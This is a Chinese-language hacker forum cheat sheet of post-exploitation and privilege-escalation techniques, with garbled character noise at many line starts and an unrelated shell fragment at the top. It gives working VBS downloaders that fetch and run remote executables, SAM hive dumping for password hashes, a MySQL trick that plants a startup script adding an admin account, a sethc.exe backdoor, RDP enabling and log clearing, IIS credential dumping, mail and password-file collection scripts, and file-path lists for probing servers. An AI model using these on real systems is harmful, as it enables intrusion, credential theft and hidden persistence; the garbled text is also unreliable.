  C4 s3 C% f2 w5 U) M' D& R! e* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
2 |. r! j3 C, t  R$ f6 d. F* [argp@julius ~]$ ./nfs_mount_ex
2 G" v; d$ ^, ~8 z*
calling nmount()
+ X% ?3 l" i1 e: {
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
+ X: J; @4 `1 z; B( ~2 b感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 V# b! F3 G- K4 Halzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
, r' n$ Q. _2 V* {: g3 ]. i注：
3 f0 ?# M! w! G' Z; R关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
" X5 {  T4 x  G/ n8 b1 D2 \4 J那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
! z. f: h" X$ d3 X}  
- _, T1 Y. ~- J% a$ E0 V0 h6 L$ o8 w
提权先执行systeminfo
5 G0 L7 P) r5 E) ttoken 漏洞补丁号 KB956572
8 |3 v7 u, [& K9 E% `Churrasco          kb952004
0 e& G/ F- B2 U6 {/ p; x命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
$ O7 y) T3 Y" X5 h2、收集系统信息的脚本  
& Z" T# D! l+ A( Z# |for window：

7 \- j! w8 T1 x9 g  e8 ^+ t1 K@echo off
echo #########system info collection
systeminfo
ver
hostname
" @; w! t+ J# N, @7 W  l8 fnet user
/ \, V6 ?; [. |5 Fnet localgroup
+ f1 J" n8 O! U1 u" [0 a  ]+ e3 Hnet localgroup administrators
1 U5 H. p: z; w2 |net user guest
net user administrator

echo #######at- with   atq#####
: t7 e* |  {! R& `echo schtask /query
% w5 t) |5 d* i1 L6 R% \* f3 Q
& Y+ x7 ]- [0 U$ V1 techo
, U( I, I* K* R* c) z( Jecho ####task-list#############
, \6 k. x6 M" |3 y6 x' Ztasklist /svc
: J% v  H2 a- n, @3 c' `6 cecho
' |! P) G1 `  v: e8 |7 Aecho ####net-work infomation
ipconfig/all
( F4 N% y9 M7 H7 {' x0 froute print
arp -a
netstat -anipconfig /displaydns
/ P/ ?2 X6 S+ i! u, ]: n8 becho
# Y/ ?& D% S4 Recho #######service############
& x5 P' }7 I/ v5 k3 B- n) M3 Bsc query type= service state= all
- _. t! ^7 p" mecho #######file-##############
9 m9 j% t6 o2 P2 F/ M# Ecd \
tree -F
for linux：
, Y2 z3 B6 N$ X6 I2 Z0 _0 Z) E  N# a
- J, Y5 x' N+ D' g' i9 H. L: E) u4 E#!/bin/bash

" p" f6 U" D$ Z: `. T" G" Xecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
, f( ~* L8 P4 D; H+ @0 z% ?# U" Y! Lecho #######basic infomation##
0 t( I% Q8 T. |) w- t3 J6 u; Mcat /proc/meminfo
echo
" f3 C4 {3 ]! @% Fcat /proc/cpuinfo
% s8 L9 x$ N/ _4 P7 I2 A& c9 ~echo
" n  R8 U& V$ R7 y. k7 Wrpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
. H1 `* f+ w5 D' X

, i1 ?. o+ V/ Z' a$ c. necho 'u'r id is' `id`
echo ###atq&crontab#####
5 T5 C" M! O! A+ ~atq
crontab -l
4 Z# j1 _2 f4 }7 Recho #####about var#####
& d  ^- [8 t- ^; Q+ `set

echo #####about network###
* o1 I3 A/ i3 d. _, a; i* V####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
/ m1 _8 k9 u( l! Z0 G, Ahostname
8 c1 J4 e+ z6 Nipconfig -a
arp -v
+ X/ ]+ E8 E) }9 X0 ?1 u4 ^  vecho ########user####
cat /etc/passwd|grep -i sh
  ?# O: i8 }& U
" T* I2 Y" ~- _5 o. ]9 R, Secho ######service####
. |4 ^& c- E+ X6 `  a, Lchkconfig --list
% n" b- J! j$ Z
8 A& r2 c7 w# C4 M4 Q8 O' r: ofor i in {oracle,mysql,tomcat,samba,apache,ftp}
2 L/ o2 q1 |) F8 Ycat /etc/passwd|grep -i $i
. `  g% Y7 h4 I" Wdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
) s' ?7 N7 {* T$ ~# s+ d% q6 @# wsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
. ^* Q& E  |5 ~6 o- N! Z* ?% fsleep 5
3 J1 h1 h1 _& z
###maybe can use "tree /"###
echo ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
! t8 v2 m2 y4 d& g* q' n3、ethash 不免杀怎么获取本机hash。
* s; e6 W9 p& b% i首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
- z' m/ Q" O6 M" H; E据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
1 k: G/ z: ?4 _——————————————
# j2 ]3 A- A4 c4 M4、vbs 下载者
1
6 S9 s! E! v- Z4 j, E. Kecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
2 m7 \: f0 D5 w. Z( _; _echo sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
5 m9 K7 F! A+ p8 c0 Mecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
- t' C9 [& W, ?% v1 M( R( oecho sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
( b1 m" w$ N* Y3 _echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
7 F6 X# x0 }1 M  P* n  Iecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs
- |, o1 ~. S* l) j+ F
2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
* B, r' {% _' s. fs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
1 |3 _& v2 m' \3 {% oSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
. n7 D3 U& p& g, n# w9 I3 USet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
1 G# Y. }+ N$ E! f1 y$ a* J: x
cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe

当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
2 f. V: F, _- q! a1.查询终端端口
9 X* R) O. d9 f+ S: R. nREG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
1 p' B" r5 V2 n# n- Q4 m2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
, _2 H# e; M, e: v# Y; ]# O8 o7 f; xREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
9 r/ [, q8 {' [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
6 V8 Z' H; u+ a7 _4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
2 s4 @. K4 B) c# ?/ B' z————————————————
2 d/ R2 K! a8 K* }0 G6、create table a (cmd text);
3 J1 u6 M3 m7 ~! Tinsert into a values ("set wshshell=createobject (""wscript.shell"")");
+ J* s/ m; O) Tinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
/ p- H; `" \( x7 \insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
/ s& d3 i0 ]5 ^% c* [, m, `2 d: z8 Sselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
& u' R6 b7 u$ Y) m$ ^& E8、for /d %i in (d:\freehost\*) do @echo %i

  W, q; T  `6 w( x' j+ n列出d的所有目录
  
; ?9 v9 U4 i: M/ X4 y  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
" L% H: j( C2 F/ R; n- F
* h2 C+ h# [7 }: v! w4 ~6 t2.for /r %i in (*.exe) do @echo %i
  
5 ^8 J+ P1 S7 @$ ?$ Y8 g! r以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
% Y2 l& U1 q8 q1 l
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i

& D" t. ~7 O; y! [: b3.for /f %i in (c:\1.txt) do echo %i
  
  m/ J4 l# R& W& F9 a" a/ L1 G; I1 b  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
5 I$ f2 T$ U$ Q' |* G$ `
. r6 k7 ]0 _7 D3 s; N7 d* K  delims=后的空格是分隔符 tokens是取第几个位置
9 L9 t1 ?( }8 _, E: K——————————
●注册表:
" V# ?' ~' f. j: [3 G1.Administrator注册表备份:
7 u. N: c1 u1 Y) ?- @reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
+ r: Y* }* |; f
$ s" X; [- Z7 S0 K2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
& w. {: b( N  [
* |! i8 X# ^, o3.清除3389登录记录:
$ d5 {, z) f- v; W7 P* W! Hreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

8 V( s. l1 l0 ]! K2 R8 s! D; N: W4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg

5.禁用TCP/IP端口筛选(需重启):
- [7 t+ |+ g, O( {REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
+ g  E% X0 Z1 ?* _  z* d
8 ?" _) N9 E- F6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0
: C, B) ]1 q. D& V7 x( K2 z- M
* `' f7 ^) \/ k3 I) f+ u, S7.停止指派策略"myipsec":
& W3 `+ J, _. E7 Q9 Y% q, j$ X1 Y- Anetsh ipsec static set policy name="myipsec" assign=n

: f' O4 W5 M' o; g9 x1 g8.系统口令恢复LM加密:
! m4 z  F" G$ G8 Vreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
8 \2 a: z5 a# f  l
9.另类方法抓系统密码HASH
1 Y2 x; E. q7 I+ Zreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
/ d9 w4 H* U6 b& T
4 F! x2 I# n9 i9 B6 Q( ]: l& Y10.shift映像劫持
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
8 r  J& `3 c- G: m3 K
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
星外vbs(注：测试通过，好东西）
8 U) ?: ~$ g6 JSet ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
2 G+ n4 y2 a7 f# [childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
if IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
8 o' G- m' U0 Xif err.number<>0 then
9 R% A* C+ J! N. texit for
msgbox("error!")
9 K7 s- u5 [' P) K- A5 W0 Swscript.quit
; u3 H) B0 ]. t/ i$ Z& H$ f  ^$ [- D4 Wend if
+ @/ E; N" U: g8 i6 Vserverbindings=IIS.serverBindings
# s5 \& h3 I. H( c, ?1 c; ]% yServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
user=iisweb.AnonymousUserName
7 D; K2 I2 l6 y. F: rpass=iisweb.AnonymousUserPass
path=IIsWeb.path
list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
5 d! [: K2 Y3 D/ n, Pwscript.echo list
* f5 q! [5 Q/ M4 i: h. z# `6 y  ]' NSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
& a2 M: O. i. Y0 [1 y  f0 GWScript.Quit
复制代码
/ \6 m; e; g/ m----------------------2011新气象，欢迎各位补充、指正、优化。----------------
. {1 b0 h$ ^. f( O' [! m4 E' ~1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
& h: Y# V! B- T0 H5 m将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
! D! q' h+ d4 H1 D! \  H6 U然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
7 s/ m% m5 J' x0 \5 w* K4 kasp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
9 a8 p9 R2 d% q url=request.severvariables("url")
这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
. A5 @. |/ x5 C% \. P4 R. m 解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

4 B; U6 u, N! F: K, F3 ~$ W1 ]==============================================================
0 Q- I- J2 z8 s' Z7 k& Q  nLINUX常见路径：
4 u! O5 G; |- y0 H6 |/ P
( K% ]6 p8 T6 j- S/etc/passwd
3 |8 x1 q" P8 C! S$ `; k. B  G, W5 b+ S/etc/shadow
* S  e" [/ {" T# k6 ], e/etc/fstab
* A5 c' i1 K; O8 I; g' N5 v* N! V/etc/host.conf
: G0 A& k, ]0 E; i0 j/etc/motd
9 Y, u0 A/ r( m5 n* p, Y; L: k( X! t/etc/ld.so.conf
: u  G! E% l' M% a, o2 P2 R& [( `: g/var/www/htdocs/index.php
/ u5 j7 F% I% ^7 n; ]# b6 X/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
; W2 k. [3 ^; w% g/var/httpd/htdocs/index.php
! u, U8 g8 Q5 ?1 C8 g% T9 Y+ T/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
0 g. K; r! t0 i, \/opt/www/htdocs/index.php
; c. O+ j/ l7 ~  ~$ b4 W; |" d! l( U/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
+ ]' g0 x- I) `/ f. [1 Q/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
4 ^& }, v0 U7 u7 U# B" a/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
$ I" i7 {! V2 k6 F% A* Y/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
/www/php4/php.ini
: a3 t; P$ [9 M6 E8 _/www/php5/php.ini
/www/conf/httpd.conf
$ g0 F& y# n; C( k" V$ b: ~/www/htdocs/index.php
, }* W% ^  d& Q- U4 W/www/htdocs/index.html
; f7 f  y2 y: g% L  [) v/usr/local/httpd/conf/httpd.conf
% f3 j" F9 B8 G- I& @/apache/apache/conf/httpd.conf
/ `6 R& ]4 I1 m; ]8 a" g! a/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
1 M' v  p/ n* U0 }/etc/apache2/apache.conf
/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/sites-available/default
( G- a7 k8 \$ E2 f8 O! @/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
: U4 a: b/ z; O: X/etc/httpd/conf.d/php.conf
6 B% g9 T  h) }! @: e: }1 C" B6 p/etc/httpd/conf.d/httpd.conf
1 [: K+ t. |. t/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
  o7 ^* C% _+ \% A3 t% q' W/etc/httpd/logs/access_log
! e) D4 ~: n- v% F6 r2 Y/etc/httpd/logs/access.log
9 k4 R5 U3 e3 u5 O+ P8 z+ x/home/apache/conf/httpd.conf
, y! k, u  ^1 W" S0 P7 Y4 r$ P/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
" y2 a8 U7 N2 G6 G' V/var/log/apache/access_log
& \5 u# P/ Q6 @, \; Y# i  B: {( K( J/var/log/apache/access.log
% w1 Z  f) g5 \" K/var/log/apache2/error_log
: R  A) F9 B2 R/var/log/apache2/error.log
. F' j7 j. M- W/var/log/apache2/access_log
  g, s7 f' j6 y8 j5 r8 G/var/log/apache2/access.log
$ c3 ~1 W- P  `/ i/var/www/logs/error_log
6 k. c$ J) [  z/var/www/logs/error.log
: z. L6 k0 r' B, H3 ?/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
" L% [; k6 p$ v: A) _3 e  D2 V- r  \/var/log/error_log
/var/log/error.log
6 t( l6 ^* O+ c5 S6 v/var/log/access_log
/ x9 e1 M) C3 b9 ~9 e/var/log/access.log
0 L/ _! R! V" ~: R8 Y, s/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
+ M( Q/ m" I7 u* `  o, V! L8 r/bin/php.ini
4 y, h" f2 ?3 w0 j* ]8 `/etc/init.d/httpd
; K- D" Q- t9 s/etc/init.d/mysql
& [  D& {3 c9 p8 e" l) G/etc/httpd/php.ini
/usr/lib/php.ini
. i! X$ c% u1 M2 R/usr/lib/php/php.ini
5 v0 D, R5 v& O/ ~  |) h/usr/local/etc/php.ini
8 x5 m  \, `  R+ h/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
, b8 z' s" R9 z) q2 |6 j/usr/local/php5/lib/php.ini
7 u- j( d# l1 G  @: ?4 Q/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
: V6 ]) d/ Q4 t. b/usr/local/apache/conf/php.ini
) \: S: o" g: ^& T( W/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
( x7 Q2 N% o/ |) e, V9 K6 H/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
5 I5 E2 `1 @2 B5 P3 Y/etc/php5/apache/php.ini
. I  I) n& U( l9 |( M9 L7 G. J9 i) ?/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
3 d% C! F0 B9 J# L1 z/ f$ n/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
9 P; ]8 L* B8 f/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
# N. |4 h9 w6 i, J/ Q3 U/php5/php.ini
/ G! U0 C8 m" K& e/php4/php.ini
& r6 y9 B( F0 X- n/php/php.ini
/PHP/php.ini
/apache/php/php.ini
0 u2 T8 o4 S' Q* \9 y% I8 V" q: N' M: Q/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
! Q$ W$ e- f0 o" e6 \/NetServer/bin/stable/apache/php.ini
, ^5 b7 |6 |$ G0 D% b; T/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
% V2 H8 f, P* i- T+ V& O5 S# h/var/log/mysql/mysql-bin.log
: `" ]2 P- B6 D  L8 R' Q* |. t/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
- D7 D$ {+ v9 C" \/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
$ q; g* m) z* }7 }( q/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
& }2 f/ l7 |4 S/etc/mysql/my.cnf
2 I4 G' S# ?1 m) T! r/etc/my.cnf
; B2 i7 S( R$ d1 {% z/usr/local/cpanel/logs
9 x- V$ g0 {3 x4 [' |/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
0 ~+ t0 y  G/ _& x3 U/ w& b( b/usr/local/cpanel/logs/stats_log
: ], B' Z2 ]+ G! i$ I# U/usr/local/share/examples/php4/php.ini
2 t+ ]1 I. x3 p  m, Z9 P' [/usr/local/share/examples/php/php.ini

% K1 \0 B  m; ?; [  x+ h. I2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

1 X. \# {8 w' T9 C2 F3 Z8 Wc:\windows\php.ini
0 v7 W5 ?! b0 ]9 R- C8 Ac:\boot.ini
c:\1.txt
c:\a.txt
- N$ h  {% j4 |! Z! Q
c:\CMailServer\config.ini
* x9 V, ^8 [# _5 R: ec:\CMailServer\CMailServer.exe
5 E6 H# r/ ^" P' n' ]3 Sc:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
& A$ u8 g3 C$ q9 E. j" J8 xc:\program files\CMailServer\WebMail\index.asp
, h  d( l) G2 R6 _C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
/ O# Q1 D0 \0 NC:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
+ t: E( H# k+ G- MC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
1 m6 L! J( c6 c9 x4 m5 @1 v
% D' w0 p3 \1 h9 d7 O! UC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
- `" `1 e6 b6 h/ u" W# e+ B9 Cc:\www\index.html
" z  I7 E6 v2 v3 v* b9 Wc:\WWWROOT\index.html
* }& D4 _& |, j( S5 |. t3 Gc:\website\index.html
c:\web\index.asp
c:\www\index.asp
% M1 d1 W% A, }9 Fc:\wwwsite\index.asp
' G& L3 t8 i7 @5 K; cc:\WWWROOT\index.asp
5 x: G1 W* |" K% t: @6 [c:\web\index.php
c:\www\index.php
( Y) N- I: u$ O7 pc:\WWWROOT\index.php
! _2 |  a2 q) X$ Q" T9 oc:\WWWsite\index.php
c:\web\default.html
c:\www\default.html
( z. I0 Q- f, |2 i& R0 u8 P/ Ec:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
. ^6 k! C! f, R( b, ]! oc:\www\default.asp
! o2 o* z3 u! @- p- u6 i% \1 yc:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
  \1 a1 H9 j! uc:\www\default.php
c:\WWWROOT\default.php
9 V! R& m0 |3 ^5 nc:\WWWsite\default.php
8 C) L; J. t# @8 Z4 h( u, }C:\Inetpub\wwwroot\pagerror.gif
. s. T- Y: M6 d$ xc:\windows\notepad.exe
c:\winnt\notepad.exe
( `0 K* J3 D8 tC:\Program Files\Microsoft Office\OFFICE10\winword.exe
) `: S& T& y3 x- n& b' U9 t0 HC:\Program Files\Microsoft Office\OFFICE11\winword.exe
7 `) z- W( d, k, n  h. ?! vC:\Program Files\Microsoft Office\OFFICE12\winword.exe
  Q& B& w9 S% ?! q7 fC:\Program Files\Internet Explorer\IEXPLORE.EXE
  O, R4 n6 T0 x& g3 _1 F2 vC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
; \  R' [7 L9 p9 `" y* |  DC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
9 r1 a* E9 A, [" R) `) B" x3 xc:\rising.ini
( R0 L' h9 O* n! h9 ^C:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
- A. b' B& c3 j* JC:\Documents and Settings\Administrator\My Documents\Default.rdp
: r( t# x, x6 AC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
+ k& {% }5 B( gC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
- p1 o9 d4 a' A& C$ e, s1 ]. xC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
: ]1 ^) ~- H9 e& L! QC:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
4 {: N$ j% m- t8 YC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
+ I3 i8 m0 B8 w7 XC:\Program Files\Symantec\SYMEVENT.INF
7 U0 o% ^, |) `% W. F; `C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
- ~& q, S+ x- D% P9 \C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
! F+ P* I" `9 G/ F7 XC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
- J% m) i$ L% W8 }C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
  p( S) T$ ?/ n' z" \% p3 D" _# IC:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
% S. T5 U7 n3 hC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
7 z/ E' h9 m' _7 w; E6 ]8 Hc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
2 ]/ z; L1 {& k/ K) [/ NC:\WINDOWS\system32\config\default.LOG
, _, e- Q, S  x0 aC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
7 y' d& S8 B$ G$ \/ Sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
& j5 T" E* p' a6 qc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
